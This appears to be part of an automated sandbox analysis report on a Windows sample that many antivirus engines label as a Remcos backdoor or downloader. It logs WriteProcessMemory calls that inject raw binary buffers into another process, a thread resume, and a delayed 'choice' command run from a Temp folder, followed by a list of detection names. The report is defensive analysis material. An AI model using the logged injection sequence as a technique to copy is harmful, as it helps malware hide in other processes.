 buffer: €ÿÿÿÿ±¿DNæ@»ÿÿÿÿ Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.ÿÿÿÿ “    ŒÅEÈEŠÅE..€G\G\G\G\G\G\G\G\G\G„G`G`G`G`G`G`G`GˆGÿÿÿÿÈE¨G¨G¨G¨G¨GˆGËEÌEØÚEèG€GCPSTPDT°GðGÿÿÿÿÿÿÿÿÿÿÿÿ€ ¤`‚y‚!¦ß¡¥Ÿàü@~€ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ€Gþÿÿÿþÿÿÿu˜Ï!­tåša¾Œe¸‘¢z»Œ^ž âȨ3œ¶F¦<A ¶FL?A¶Fk<A”†E.?AVtype_info@@”†E.?AVbad_alloc@std@@”†E.?AVbad_array_new_length@std@@”†E.?AVlogic_error@std@@”†E.?AVlength_error@std@@”†E.?AVout_of_range@std@@”†E.?AV_Facet_base@std@@”†E.?AV_Locimp@locale@std@@”†E.?AVfacet@locale@std@@”†E.?AU_Crt_new_delete@std@@”†E.?AVcodecvt_base@std@@”†E.?AUctype_base@std@@”†E.?AV?$ctype@D@std@@”†E.?AV?$codecvt@DDU_Mbstatet@@@std@@”†E.?AVbad_exception@std@@”†E.H”†E.?AVfailure@ios_base@std@@”†E.?AVruntime_error@std@@”†E.?AVsystem_error@std@@”†E.?AVbad_cast@std@@”†E.?AV_System_error@std@@”†E.?AVexception@std@@
base_address: 0x0000000000470000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer: €
base_address: 0x0000000000476000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer: Ò*·*‡>,/F/‡>”/‡>)߇>Úáˋu‹úqÎq‹/.êêÌGtG‡>‡>|r{N//ßþ&ùõƒL˜ù˜ù°onr€°X±¡Õn5w Ĩ U|Àq0¤R¼Z b Er4NPNWN]TUZ[ äøää äö_^îØØäüûüû í9<8;ú` Ÿž†…¢†…§µ¶³´±²¯°†…¸ Ÿ†… Y
base_address: 0x0000000000477000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000000478000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x000000000047d000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x000000007efde008
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

NtResumeThread

 thread_handle: 0x000000000000015c
suspend_count: 1
process_identifier: 2672
1 0 0

CreateProcessInternalW

 thread_identifier: 2828
thread_handle: 0x00000084
process_identifier: 2824
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\choice.exe
track: 1
command_line: choice /C Y /N /D Y /T 1
filepath_r: C:\Windows\system32\choice.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000088
1 1 0
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Remcos.4!c
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.Generic.33914952
FireEye Generic.mg.f503da8eee4e7cd8
ALYac Trojan.Generic.33914952
Malwarebytes Trojan.Crypt.MSIL
Sangfor Downloader.Msil.Tiny.Vysk
K7AntiVirus Trojan-Downloader ( 0057954d1 )
Alibaba Backdoor:MSIL/Remcos.f7573bf4
K7GW Trojan-Downloader ( 0057954d1 )
CrowdStrike win/malicious_confidence_100% (W)
Arcabit Trojan.Generic.D2058048
VirIT Trojan.Win32.Genus.RCS
Cyren W32/ABRisk.PTYN-3019
Symantec Trojan Horse
ESET-NOD32 a variant of MSIL/TrojanDownloader.Tiny.AWX
APEX Malicious
Cynet Malicious (score: 100)
Kaspersky HEUR:Backdoor.MSIL.Remcos.gen
BitDefender Trojan.Generic.33914952
Avast Win32:DropperX-gen [Drp]
Tencent Msil.Backdoor.Remcos.Qqil
Emsisoft Trojan.Generic.33914952 (B)
F-Secure Trojan.TR/Dldr.Tiny.klnav
DrWeb Trojan.DownLoader45.57963
VIPRE Trojan.Generic.33914952
TrendMicro TROJ_GEN.R03BC0XFA23
McAfee-GW-Edition Artemis!Trojan
Sophos Mal/Generic-S
Ikarus Trojan-Spy.DarkCloud
Webroot W32.Trojan.Gen
Avira TR/Dldr.Tiny.klnav
Antiy-AVL Trojan[Downloader]/MSIL.Tiny
Gridinsoft Ransom.Win32.Sabsik.cl
Xcitium Malware@#1rpiufaiilzf7
Microsoft Trojan:Win32/Casdet!rfn
ZoneAlarm HEUR:Backdoor.MSIL.Remcos.gen
GData Trojan.Generic.33914952
Google Detected
AhnLab-V3 Trojan/Win.Generic.C5439219
McAfee Artemis!F503DA8EEE4E
MAX malware (ai score=84)
VBA32 TScope.Trojan.MSIL
Cylance unsafe
Panda Trj/Chgt.AD
TrendMicro-HouseCall TROJ_GEN.R03BC0XFA23
Rising Backdoor.Remcos!8.B89E (CLOUD)
SentinelOne Static AI - Malicious PE
MaxSecure Trojan.Malware.300983.susgen